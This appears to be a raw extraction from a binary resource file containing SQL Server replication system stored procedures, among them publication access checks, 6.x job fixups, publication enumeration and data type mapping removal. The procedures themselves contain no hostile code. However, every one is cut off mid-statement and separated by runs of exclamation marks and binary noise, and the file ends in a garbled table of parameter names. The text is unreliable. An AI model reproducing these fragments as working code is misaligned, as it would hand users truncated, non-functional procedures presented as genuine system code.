!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/O9
vCREATE PROCEDURE sys.sp_MSpublication_access 
(
    @publisher sysname,
    @publisher_db sysname = NULL,
    @publication sysname = NULL,
    @login sysname = NULL,
    @operation nvarchar(20), -- Can be add/drop/check/help/get_publications/get_logins
    @has_access bit = 0 output, -- Used only in check
    @skip bit = 0
) 
AS
begin
    -- This sp can be called repeatedly.
    set nocount on
    declare @publisher_id smallint
            ,@retcode int
            ,@publication_id int
            ,@isntuser bit
            ,@server_access bit
            ,@privilege nchar(21)
            ,@rowcount int
            ,@sid varbinary(85)
            ,@cmd nvarchar(500)

    --
    -- validate @operation
    --
    if (@operation not in (N'add', N'drop', N'check', N'help', N'get_logins', N'get_publications'))
    begin
        raiserror(21402, 16, 1, '@operation')
        return(1)
    end
    --
    -- If @operation is not N'check' or N'get_publications', restrict access to db_owner
    -- Security Note: For N'check' and N'get_publications' operations - implicit PAL check
    -- is done.
    --
    if @operation not in (N'check', N'get_publications')
    begin
        exec @retcode = sys.sp_MSreplcheck_publish
        if @@ERROR <> 0 or @retcode <> 0
            return(1)
    end
    --
    -- Check if publisher is a defined as a distribution publisher in the current database
    --
    exec @retcode = sys.sp_MSvalidate_distpublisher @publisher, @publisher_id OUTPUT
    if @retcode <> 0
        return(1)
    --
    -- Get the publication id 
    --
    select @publication_id = publication_id 
    from dbo.MSpublications 
    where 
        publisher_id = @publisher_id and
        publisher_db = @publisher_db and
        publication = @publication
    --
    -- Publication does not exist
    --
    if @publication_id is null and @operation in (N'add',N'drop',N'check',N'help')
    begin
        raiserror (20026, 16, -1, @publication)
        return (1)
    end
    --
    -- Check to see if the login exists and if the login is NT user (not a group)
    --
    if (@login is null)
        select @login = suser_name()
    select @sid = suser_sid(@login,0)
    select @isntuser = null
    select @isntuser = isntuser    
    from master.dbo.syslogins 
    where sid = @sid and hasaccess = 1
    --
    -- Avoid EXECUTE AS LOGIN failure and cover the case of that 
    -- the NT user is not in syslogins (unprovisioned login)
    --
    if @isntuser is null and @sid is not null
    begin
        exec @retcode = master.dbo.xp_logininfo
                    @login, N'all', @privilege output
        if @privilege is not null
            select @isntuser = 1
    end
    --
    -- we will need temp table for storing group SIDs for NT user 
    -- for certain operations
    --
    if (@isntuser = 1 and @operation in (N'check', N'get_publications'))
    begin
        --
        -- Using temp table instead of local table variable to avoid 
        -- INSERT EXEC nested problem. This SP is called with INSERT EXEC
        -- when used with get_publications
        --
        create table #groupsids (sid varbinary(85) null)
        -- 
        -- Check if the user is part of any group
        -- For this - impersonate the login and collect the GROUP SIDs
        -- to which the given login belongs to (there may be zero or more)
        --
        -- Security Note: EXECUTE AS LOGIN will need the SQL Server startup account to
        -- have at least Read access to the @login authentication information
        -- in AD for impersonation. This should be documented
        --
        select @cmd = N'EXECUTE AS LOGIN = N''' + REPLACE(@login, N'''', N'''''') + N''' '
                        + N'insert into #groupsids(sid) '
                        + N'select sid from master.dbo.syslogins '
                        + N'where isntgroup = 1 and is_member(name) = 1 '
                        + N'REVERT '
        exec @retcode = sys.sp_executesql @stmt = @cmd
        if  @retcode != 0 or @@error <> 0
        begin
            raiserror (21142, 16, -1, @@servername, @login)
            return(1)
        end
    end
    --
    -- process according to @operation
    --
    if @operation = N'add'
    begin
        -- Login does not have access
        if @sid is null
        begin
            if @skip = 0
            begin
                raiserror(21048, 16, 2, @login, @@servername) 
                return (1)
            end
            else
                return (0)
        end
        -- Add login to the access list if it does not exist
        if not exists (select * from dbo.MSpublication_access 
                            where publication_id = @publication_id and
                                    sid = @sid)
        begin
            insert dbo.MSpublication_access (publication_id, login, sid)
                values (@publication_id,@login,@sid)
            if  @@error <> 0
                return(1)
        end
    end -- end add operation
    else if @operation = N'drop'
    begin
        if not exists (select * from dbo.MSpublication_access 
                            where publication_id = @publication_id 
                            and sid = @sid) 
        begin
            raiserror(15007,10,-1,@login)
            return 1
        end
        -- Do check existense when dropping since the login might be dropped
        -- outside replication already.
        delete dbo.MSpublication_access where
                publication_id = @publication_id and
                sid = @sid
        select @rowcount = @@rowcount

        -- We will also perform some extra cleanup for any PAL items that are
        -- no longer valid. PAL Items can become invalid if a user is dropped
        delete dbo.MSpublication_access 
        where sid != suser_sid(login,0) or suser_sid(login,0) is NULL
        select @rowcount = @@rowcount + @rowcount

        if isnull(@rowcount, 0) > 0
        begin
            -- Flush the cache for this publication id
            if object_id(N'tempdb.dbo.MSdistributor_access') is not null
            begin
                delete tempdb.dbo.MSdistributor_access
                 where (publication_id = @publication_id 
                        or (agent_type = 0 -- Distribution agents 
                            and agent_id in 
                            (select agent_id from dbo.MSsubscriptions s
                              where s.publication_id = @publication_id)))
                   and db_id = db_id()
                if @@error <> 0
                    return(1)
            end
        end
    end -- end drop operation
    else if @operation = N'check'
    begin
        --
        -- We should always have a valid SID for any kind of login (provisioned or not)
        -- If there is not valid SID then it is a bad login
        --
        if (@sid is null)
        begin
            raiserror(15007, 16, -1, @login)
            return (1)
        end
        --
        -- Check the access list for this login
        -- The query below does the PAL check implicitly
        -- so there is no security hole
        -- Check if the login is NT user
        --
        if @isntuser = 1
        begin
            --
            -- PAL check using SID or #groupsids
            --
            if exists (select * from dbo.MSpublication_access l 
                            where publication_id = @publication_id 
                            -- Either the SID of @login exists
                            and (l.sid = @sid 
                            -- Or there exists a group SID of which @login is a member of
                                or exists (select g.sid 
                                                    from #groupsids as g 
                                                        join dbo.MS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(0S
vp_create procedure sys.sp_MSfix_6x_tasks 
(
    @publisher sysname = NULL
    ,@publisher_engine_edition int = NULL
) 
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @distributor sysname
                ,@distproc nvarchar (255)
                ,@retcode int

    -- Security Check: require sysadmin
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1) 
        return (1)
    end

    -- If @publisher is null redirect the call to distributor
    if @publisher is null
    begin
        /*
        ** Get distribution server information for remote RPC
        ** agent verification.
        */
        EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @rpcsrvname = @distributor OUTPUT
        IF @@error <> 0 OR @retcode <> 0
        BEGIN
            RAISERROR (14071, 16, -1)
            RETURN (1)
        END
        --
        -- Get the engine edition of the publisher
        --
        select @publisher_engine_edition = sys.fn_MSrepl_editionid()
        /*
        ** RPC distributor
        */
        SELECT @distproc = QUOTENAME(RTRIM(@distributor)) + '.master.sys.sp_MSfix_6x_tasks'
        EXECUTE @retcode = @distproc
            @publisher = @@SERVERNAME
            ,@publisher_engine_edition = @publisher_engine_edition
        IF @@ERROR <> 0 or @retcode <> 0
            return (1)
    end
    else
    begin
        --
        -- We are on distributor
        --
        declare @category_id int
                    ,@category_name sysname
                    ,@server sysname
                    ,@databasename sysname
                    ,@name sysname
                    ,@distdb sysname
                    ,@job_id uniqueidentifier
                    ,@sSubsystem sysname

        -- Drop entry in systasks first.
        --qunguo: removing reference to systasks_view as this is going away in Yukon
        --should be safe to do since this looks to be used only by upgrade from 6.x

        /*DECLARE hCtasks CURSOR LOCAL FAST_FORWARD FOR
            SELECT name FROM msdb.dbo.systasks_view st WHERE 
                
                -- drop distribution agents.
                (st.name LIKE @publisher + '_' + '%' + '_' + '%' AND 
                LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'distribution' AND
                server = @@SERVERNAME) OR
                                
                (LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'logreader' AND
                server = @publisher) OR 
                
                (LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'snapshot' AND
                server = @publisher) OR

                (st.name LIKE '%' + '_' + '%' + '_Cleanup' AND 
                st.command LIKE '%' + 'sp_replcleanup' + '%' AND
                LOWER(subsystem collate SQL_Latin1_General_CP1_CS_AS) = 'tsql')
            FOR READ ONLY

        OPEN hCtasks
        FETCH hCtasks INTO @name

        WHILE (@@fetch_status <> -1)
        BEGIN
            
            EXEC @retcode = msdb.dbo.sp_droptask @name = @name
            if @retcode <> 0 or @@error <> 0
                return(1)
            FETCH hCtasks INTO @name
        END
--looks like this code is missing close and deallocate of the cursor hCtasks anyway:)

*/

        -- Now spin through each old replication job and fixup categories names
        declare hcJobsToFix CURSOR LOCAL FAST_FORWARD for 
                select distinct j.job_id, j.name, s.subsystem, 
                    s.server, s.database_name
                    from msdb.dbo.sysjobs j left join msdb.dbo.sysjobsteps s
                        on j.job_id = s.job_id
                    where j.category_id = 0 and s.step_id = 1 and lower(s.subsystem collate SQL_Latin1_General_CP1_CS_AS) in ( 'snapshot', 'logreader', 'distribution' )
                for read only

        open hcJobsToFix 
        fetch hcJobsToFix into @job_id, @name, @sSubsystem,
            @server,@databasename

        while (@@fetch_status <> -1 )
        begin
            -- Note, have to make it a transaction, once the category_id is changed,
            -- the task will never be picked up again.
            begin tran 

                -- Get Distribution category name (assumes category_id = 10)
                select @category_id =
                    case lower(@sSubsystem collate SQL_Latin1_General_CP1_CS_AS) 
                        when 'snapshot' then 15
                        when 'distribution' then 10
                        when 'logreader' then 13
                        else 0
                    end

                select @category_name = name FROM msdb.dbo.syscategories where category_id = @category_id
                
                -- raiserror( 'Would update %s to category %d based on subsystem value %s', -1, 10, @nJobName, @iCategory, @sSubsystem )
                exec @retcode = msdb.dbo.sp_update_job @job_id = @job_id, 
                    @category_name = @category_name
                if @retcode <> 0 or @@error <> 0
                    goto UNDO

                -- Add the replication agent for monitoring
                SELECT @distdb = distribution_db from msdb..MSdistpublishers where UPPER(name collate database_default) = UPPER(@server) collate database_default
                IF (@category_id = 13) -- Logreader
                BEGIN
                    SELECT @distproc = QUOTENAME(@distdb) + '.dbo.sp_MSadd_logreader_agent'
                    EXECUTE @retcode = @distproc
                        @name = @name,
                        @publisher = @server,
                        @publisher_db = @databasename,
                        @publication = '',  
                        @local_job = 1,
                        @job_existing = 1,
                        @job_id = @job_id,
                        @internal = N'YUKON',
                        @publisher_engine_edition = @publisher_engine_edition

                    IF (@retcode <> 0 or @@error<>0)
                        goto UNDO
                END
                ELSE 
                IF (@category_id = 15) -- Snapshot
                BEGIN
                    DECLARE @publication sysname

                    SELECT @publication = NULL
                    EXECUTE sys.sp_MSget_publication_from_taskname
                                            @taskname = @name,
                                            @publisher = @server,
                                            @publisherdb = @databasename,
                                            @publication = @publication OUTPUT

                    IF (@publication IS NOT NULL )
                    BEGIN               
                        SELECT @distproc = QUOTENAME(@distdb) + '.dbo.sp_MSadd_publication'
                        EXECUTE @retcode = @distproc
                            @publisher = @server,
                            @publisher_db = @databasename,
                            @publication = @publication,
                            @publication_type = 0, -- Transactional
                            @publisher_engine_edition = @publisher_engine_edition
                        IF (@retcode <> 0 or @@error<>0)
                            goto UNDO

                        SELECT @distproc = QUOTENAME(@distdb) + '.dbo.sp_MSadd_snapshot_agent'
                        EXECUTE @retcode = @distproc
                            @name = @name,
                            @publisher = @server,
                            @publisher_db = @databasename,
                            @publication = @publication,
                            @local_job = 1,
                            @job_existing = 1,
                            @snapshot_jobid = @job_id,
                            @internal = N'YUKON'
                        IF (@retcode <> 0 or @@error<>0)
                           !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(u174Kv26
--
-- Name:
--  sp_MSrepl_enumpublications
--
-- Description:
--  Enumerate publications on a database
--
-- Returns:
--		0 == Failed
--		1 == Succeed
--
-- Security:
--  public, PAL access for tran publications, dbo check for merge publications
--  Requires Certificate signature for catalog access
--
-- Notes:
--  Used by the UI to generate a list of pubications
--
--  Publication type:
--      0 == TRAN
--      1 == SNAPSHOT
--      2 == MERGE
--
CREATE PROCEDURE sys.sp_MSrepl_enumpublications
(
    @reserved bit = 0   -- Set to 1 when used by UI
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode int
                ,@pubid int
                ,@pubname sysname
                ,@username sysname
                ,@OPT_ENABLED_FOR_P2P int
                ,@category int
                ,@skippalcheck bit
                ,@dbname sysname
                ,@fpublished bit
                ,@OPT_ENABLED_FOR_P2PCONFLICTDETECTION int

    --
    -- initialize
    --
    select @dbname = db_name()
            ,@OPT_ENABLED_FOR_P2P = 0x1
            ,@username = SUSER_SNAME()
            ,@fpublished = 0
            ,@OPT_ENABLED_FOR_P2PCONFLICTDETECTION = 0x08
    --
    -- Verify database is published
    -- Have put the code from fn_MSrepl_ispublished inline for faster processing
    -- If fn_MSrepl_ispublished() is updated - this code block should be updated as well
    --
    SELECT @category = category
    FROM master.sys.sysdatabases
    WHERE name = @dbname 

    IF (@category IS NOT NULL)
    BEGIN
        -- We have entry for this db_name in sysdatabases
        -- Is this database a distributor?
        IF (@category & 16 = 16)
        BEGIN
            -- DB is a distributor - is it used for HREPL publisher?
            IF OBJECT_ID(N'msdb.dbo.MSdistpublishers') IS NOT NULL
            BEGIN
                IF EXISTS
                (
                    SELECT name
                    FROM msdb.dbo.MSdistpublishers
                    WHERE distribution_db = @dbname 
                        AND publisher_type != N'MSSQLSERVER'
                )
                BEGIN
                    SELECT @fpublished = 1
                END
            END
        END
        ELSE
        BEGIN
            -- Check if this database is a transactional or merge publisher
            IF (@category & 1 = 1 OR @category & 4 = 4)
            BEGIN
                SELECT @fpublished = 1
            END
        END
    END -- @category not null
    --
    -- If the database is not published - return
    --
    IF (@fpublished = 0) 
    BEGIN
        RETURN (0)
    END
    --
    -- Security Check.
    -- Skip PAL check if DBO 
    -- For PAL check - Part of the query to gather the list of publications uses security context
    --
    select @skippalcheck = case when (is_member ('db_owner') = 1 OR is_srvrolemember('sysadmin') = 1) then 1 else 0 end
    if (@skippalcheck = 0)
    begin
        DECLARE @accessiblepubs TABLE
        (
            pubid   int
        )
    end
    --
    -- Create local temp table if needed
    --
    if (@reserved = 0)
    begin
        create TABLE #tmp_publications
        (
            publisher sysname not null, 
            dbname sysname not null, 
            publication sysname not null, 
            publisher_type sysname not null, 
            publication_type int not null,
            description nvarchar(255) null,
            allow_queued bit default 0 NOT NULL,
            enabled_for_p2p bit default 0 NOT NULL,
            enabled_for_p2pconflictdetection bit default 0 NOT NULL
        )
    end
    --
    -- Get snapshot or transactional publications
    --
    IF object_id(N'dbo.syspublications') IS NOT NULL
    BEGIN
        if (@skippalcheck = 0)
        begin
            -- Catalog accessible pub ids
            DECLARE #hC CURSOR LOCAL FAST_FORWARD FOR 
            SELECT pubid, name
            FROM dbo.syspublications

            OPEN #hC
            FETCH #hC INTO @pubid, @pubname
            WHILE (@@fetch_status <> -1)
            BEGIN
                EXEC @retcode = sys.sp_MSreplcheck_pull @publication = @pubname,
                                                @raise_fatal_error = 0,
                                                @given_login = @username
                IF (@retcode = 0 AND @@error = 0)
                BEGIN
                    INSERT INTO @accessiblepubs values(@pubid)
                END

                FETCH #hC INTO @pubid, @pubname
            END
            CLOSE #hC
            DEALLOCATE #hC
        end -- if (@skippalcheck = 0)
        --
        -- Determine if distribution db is being cataloged
        --
        IF (@category & 16 != 16)
        BEGIN
            -- SQL Server publication db
            INSERT INTO #tmp_publications
            (
                publisher,
                dbname,
                publication,
                publisher_type,
                publication_type,
                description,
                allow_queued,
                enabled_for_p2p,
                enabled_for_p2pconflictdetection
            )
            SELECT publishingservername(),
                        @dbname,
                        name,
                        N'MSSQLSERVER',
                        repl_freq,
                        description,
                        allow_queued_tran,
                        (options & @OPT_ENABLED_FOR_P2P),
                        (options & @OPT_ENABLED_FOR_P2PCONFLICTDETECTION)
            FROM dbo.syspublications
            WHERE @skippalcheck = 1 
                OR (pubid IN (SELECT pubid FROM @accessiblepubs))
        END
        ELSE
        BEGIN
            -- Distribution db - Heterogeneous publications
            INSERT INTO #tmp_publications
            (
                publisher,
                dbname,
                publication,
                publisher_type,
                publication_type,
                description,
                allow_queued,
                enabled_for_p2p
            )
            SELECT ss.srvname,
                        @dbname, -- distribution db name for enumerator to work
                        sp.name,
                        msd.publisher_type,
                        sp.repl_freq,
                        sp.description,
                        sp.allow_queued_tran,
                        (sp.options & @OPT_ENABLED_FOR_P2P)
            FROM dbo.syspublications sp
                join dbo.MSpublications msp on sp.pubid = msp.publication_id
                join master.dbo.sysservers ss on msp.publisher_id = ss.srvid
                join msdb.dbo.MSdistpublishers msd on msd.name = ss.srvname
            WHERE @skippalcheck = 1 
                OR (pubid IN (SELECT pubid FROM @accessiblepubs))
        END
    END -- IF object_id(N'dbo.syspublications') IS NOT NULL
    --
    -- Get merge publications
    --
    IF object_id(N'dbo.sysmergepublications') IS NOT NULL
    BEGIN
        INSERT INTO #tmp_publications
        (
            publisher,
            dbname,
            publication,
            publisher_type,
            publication_type,
            description
        )
        SELECT publisher,
                    publisher_db,
                    name,
                    N'MSSQLSERVER',
                    2,
                    description
        FROM dbo.sysmergepublications
        WHERE (@skippalcheck = 1 OR {fn ISPALUSER(pubid)} = 1)
            and   publisher_db = @dbname 
            and   UPPER(publisher) = UPPER(publishingservername())
    END -- object_id(N'dbo.sysmergepublications') IS NOT NULL
    --
    -- Return result set if we created local table
    --
    if (@reserved = 0)
    begin
        SELECT *
        FROM #tmp_publications
        O!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(03ltvF
--
-- Name:
--		sp_dropdatatypemapping
--
-- Description:
--		Drop data type mapping
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		public
--
-- Notes:
--		Implicitly will create a DBMS map if it doesn't
--		currently exist.  DBMS types must exist before
--		adding a mapping.  If no remaining mappings exist
--		for a map, the map is dropped
--

CREATE PROCEDURE sys.sp_dropdatatypemapping
(
	@mapping_id				int		= NULL,
	@source_dbms			sysname	= NULL,
	@source_version			sysname	= NULL,
	@source_type			sysname	= '%',
	@source_length_min		bigint	= NULL,
	@source_length_max		bigint	= NULL,
	@source_precision_min	bigint	= NULL,
	@source_precision_max	bigint	= NULL,
	@source_scale_min		int		= NULL,
	@source_scale_max		int		= NULL,
	@source_nullable		bit		= NULL,
	@destination_dbms		sysname	= '%',
	@destination_version	sysname	= NULL,
	@destination_type		sysname	= '%',
	@destination_length		bigint	= NULL,
	@destination_precision	bigint	= NULL,
	@destination_scale		int		= NULL,
	@destination_nullable	bit		= NULL
)
AS
BEGIN
	DECLARE @retcode				int
	DECLARE @src_dbms_id			int
	DECLARE @src_datatype_id		int
	DECLARE @dest_dbms_id			int
	DECLARE @dest_datatype_id		int
	DECLARE @map_id					int
	DECLARE @datatype_mapping_id	int
	
    SET NOCOUNT ON

	-- Prepare dbms for case insensitive searches
	SET @source_dbms		= UPPER(@source_dbms)
	SET @destination_dbms	= UPPER(@destination_dbms)

	set @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- Check parameters
	IF (@mapping_id IS NULL)
	BEGIN
		-- Require source dbms at a minimum
		IF (@source_dbms IS NULL) OR (@source_dbms = N'')
		BEGIN
			RAISERROR(7801, 16, -1, 128, N'@source_dbms')
			RETURN (1)
		END

		-- Get source DBMS id
		SELECT	@src_dbms_id = dbms_id
		FROM	msdb.dbo.MSdbms
		WHERE	dbms	= @source_dbms
		  AND	version = @source_version

		IF @src_dbms_id IS NULL OR @@ERROR <> 0
		BEGIN
			RAISERROR(21653, 16, -1, @source_dbms, @source_version)
			RETURN (1)
		END
	END
	  
	BEGIN TRAN
	SAVE TRAN dropdatatypemapping

	IF (@mapping_id IS NULL) AND (@source_type = '%')
	BEGIN
		-- Clear default data type mappings
		UPDATE	msdb.dbo.MSdbms_map
		SET		default_datatype_mapping_id = NULL
		WHERE	src_dbms_id = @src_dbms_id

		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatypemapping
				COMMIT TRAN
			END
			RETURN (1)
		END

		-- Drop data type mappings
		DELETE	msdb.dbo.MSdbms_datatype_mapping
		FROM	msdb.dbo.MSdbms_datatype_mapping dm,
				msdb.dbo.MSdbms_map map
		WHERE	map.map_id		= dm.map_id
		  AND	map.src_dbms_id	= @src_dbms_id
		
		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatypemapping
				COMMIT TRAN
			END
			RETURN (1)
		END

		-- Drop maps
		DELETE FROM msdb.dbo.MSdbms_map
		WHERE src_dbms_id = @src_dbms_id

		IF @@ERROR <> 0
		BEGIN
			IF @@TRANCOUNT > 0
			BEGIN
				ROLLBACK TRANSACTION dropdatatypemapping
				COMMIT TRAN
			END
			RETURN (1)
		END
	END
	ELSE
	BEGIN
		IF (@mapping_id IS NULL)
		BEGIN
			-- Get source data type
			SELECT	@src_datatype_id = datatype_id
			FROM	msdb.dbo.MSdbms_datatype
			WHERE	dbms_id = @src_dbms_id
			  AND	UPPER(type COLLATE DATABASE_DEFAULT) =
				UPPER(@source_type) COLLATE DATABASE_DEFAULT

			IF @src_datatype_id IS NULL OR @@ERROR <> 0
			BEGIN
				RAISERROR(21654, 16, -1, @source_type)

				IF @@TRANCOUNT > 0
				BEGIN
					ROLLBACK TRAN dropdatatypemapping
					COMMIT TRAN
				END
				RETURN (1)
			END
		END

		IF (@mapping_id IS NULL) AND (@destination_type = '%')
		BEGIN
			-- Clear default data type mapping
			UPDATE	msdb.dbo.MSdbms_map
			SET		default_datatype_mapping_id = NULL
			WHERE	src_dbms_id		= @src_dbms_id
			  AND	src_datatype_id	= @src_datatype_id

			IF @@ERROR <> 0
			BEGIN
				IF @@TRANCOUNT > 0
				BEGIN
					ROLLBACK TRANSACTION dropdatatypemapping
					COMMIT TRAN
				END
				RETURN (1)
			END
			
			-- Drop data type mappings
			DELETE	msdb.dbo.MSdbms_datatype_mapping
			FROM	msdb.dbo.MSdbms_map map,
					msdb.dbo.MSdbms_datatype_mapping dm
			WHERE	map.map_id			= dm.map_id
			  AND	map.src_dbms_id		= @src_dbms_id
			  AND	map.src_datatype_id	= @src_datatype_id
			
			IF @@ERROR <> 0
			BEGIN
				IF @@TRANCOUNT > 0
				BEGIN
					ROLLBACK TRANSACTION dropdatatypemapping
					COMMIT TRAN
				END
				RETURN (1)
			END

			-- Drop map
			DELETE FROM msdb.dbo.MSdbms_map
			WHERE	src_dbms_id		= @src_dbms_id
			  AND	src_datatype_id	= @src_datatype_id

			IF @@ERROR <> 0
			BEGIN
				IF @@TRANCOUNT > 0
				BEGIN
					ROLLBACK TRANSACTION dropdatatypemapping
					COMMIT TRAN
				END
				RETURN (1)
			END
		END
		ELSE
		BEGIN
			IF (@mapping_id IS NULL)
			BEGIN
				-- Get destination info
				EXEC @retcode = sys.sp_MSrepl_getdbmsinfo
								@dbms			= @destination_dbms,
								@version		= @destination_version,
								@type			= @destination_type,
								@dbms_id		= @dest_dbms_id OUTPUT,
								@datatype_id	= @dest_datatype_id OUTPUT

				IF @retcode <> 0 OR @@ERROR <> 0
				BEGIN
					IF @@TRANCOUNT > 0
					BEGIN
						ROLLBACK TRANSACTION dropdatatypemapping
						COMMIT TRAN
					END

					RETURN (@retcode)
				END

				-- Get data map
				SELECT	@map_id = map_id
				FROM	msdb.dbo.MSdbms_map
				WHERE	src_dbms_id		= @src_dbms_id
				  AND	dest_dbms_id	= @dest_dbms_id
				  AND	src_datatype_id	= @src_datatype_id
				  AND	src_len_min		= @source_length_min
				  AND	src_len_max		= @source_length_max
				  AND	src_prec_min	= @source_precision_min
				  AND	src_prec_max	= @source_precision_max
				  AND	src_scale_min	= @source_scale_min
				  AND	src_scale_max	= @source_scale_max
				  AND	src_nullable	= @source_nullable

				IF @map_id IS NULL OR @@ERROR <> 0
				BEGIN
					RAISERROR (21656, 16, -1, @source_type)

					IF @@TRANCOUNT > 0
					BEGIN
						ROLLBACK TRANSACTION dropdatatypemapping
						COMMIT TRAN
					END

					RETURN (1)
				END

				-- Get data type mapping
				SELECT	@datatype_mapping_id = datatype_mapping_id
				FROM	msdb.dbo.MSdbms_map map,
						msdb.dbo.MSdbms_datatype_mapping dm
				WHERE	map.map_id			= dm.map_id
				  AND	map.map_id			= @map_id
				  AND	dm.dest_datatype_id	= @dest_datatype_id
				  AND	dm.dest_length		= @destination_length
				  AND	dm.dest_precision	= @destination_precision
				  AND	dm.dest_scale		= @destination_scale
				  AND	dm.dest_nullable	= @destination_nullable

				IF @datatype_mapping_id IS NULL OR @@ERROR <> 0
				BEGIN
					RAISERROR (21656, 16, -1, @source_type)

					IF @@TRANCOUNT > 0
					BEGIN
						ROLLBACK TRANSACTION dropdatatypemapping
						COMMIT TRAN
					END
					RETURN (1)
				END
			END
			ELSE
			BEGIN
				-- Set datatype mapping id
				SET @datatype_mapping_id = @mapping_id

				-- Get map id for specific data type mapping id
				SELECT	@map_id = dm.map_id
				FROM	msdb.dbo.MSdbms_datatype_mapping dm
				WHERE	datatype_mapping_id = @mapping_id

				IF @map_id IS NULL OR @datatype_mapping_id IS NULL OR @@ERROR <> 0
				BEGIN
					DECLARE @msg nvarchar(50)
					SELECT @msg = CONVERT(nvarchar(50), @mapping_id)
					RAISERROR (21656, 16, -1, @msg)

					IF @@TRANCOUNT > 0
					BEGIN
						ROLLBACK TRANSACTION dropdatatypemapping
						COMMIT TRAN
					END
					RETURN (1)
				END
			END
			
			-- Clear if default
			UPDATE	msdb.dbo.MSdbms_map
			SET		default_datatype_mapping_id = NULL
			WHERE	map_id = @map_id
			  AND	default_datatype_mapping_id = @datatype_mapping_id
			  
			IF @@ERROR <> 0
			BEGIN
				IF @@TRANCOUNT > 0
				BEGIN
					ROLLBACK TRANSACTION dropdatatypemapping
					COMMIT TRAN
				END
				RETURN (1)
			END

			-- Drop data ty!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`$*i)N
M|{W6%(database_id6%,physical_name6w1.@failover_mode6w14@failover_mode_id6w1*@publication6w1&@publisher6w1,@publisher_db67(COLUMN_NAME676CONSTRAINT_CATALOG670CONSTRAINT_NAME674CONSTRAINT_SCHEMA672ORDINAL_POSITION67,TABLE_CATALOG67&TABLE_NAME67*TABLE_SCHEMA6fC"@objname6-I2max_wait_time_ms6-I8signal_wait_time_ms6-I*wait_time_ms6-I$wait_type6-I8waiting_tasks_count6S"@catalog6S @server6S*CATALOG_NAME6S(DESCRIPTION6UF@is_vertically_partitioned6U4@primary_key_only6UL@qualified_source_object_name6UH@qualified_sync_object_name6&n$@loginame6?*@publication6?8@ignore_distributor6?&@publisher6?*@from_backup6Z4@xact_seqno_start6Z0@xact_seqno_end6Z.@originator_id6Z>@publisher_database_id6Z(@article_id6Z(@command_id6Z$@agent_id6Z:@compatibility_level6#8(@request_id6#8(@originator6#8.@originator_db6#8@@originator_publication6\&@publisher6\,@publisher_db6\*@publication6\6@allow_queued_tran62L8@original_publisher62L,@publisher_db62LJ@bypass_publisher_validation6/*@publication6/&@publisher6/,@publisher_db6!F&@tablenick6*p0&@replicaid6*p0*@needcleanup6w@pubid6w$@rowguid16w$@rowguid26w$@rowguid36w$@rowguid46w&@rowguid106w
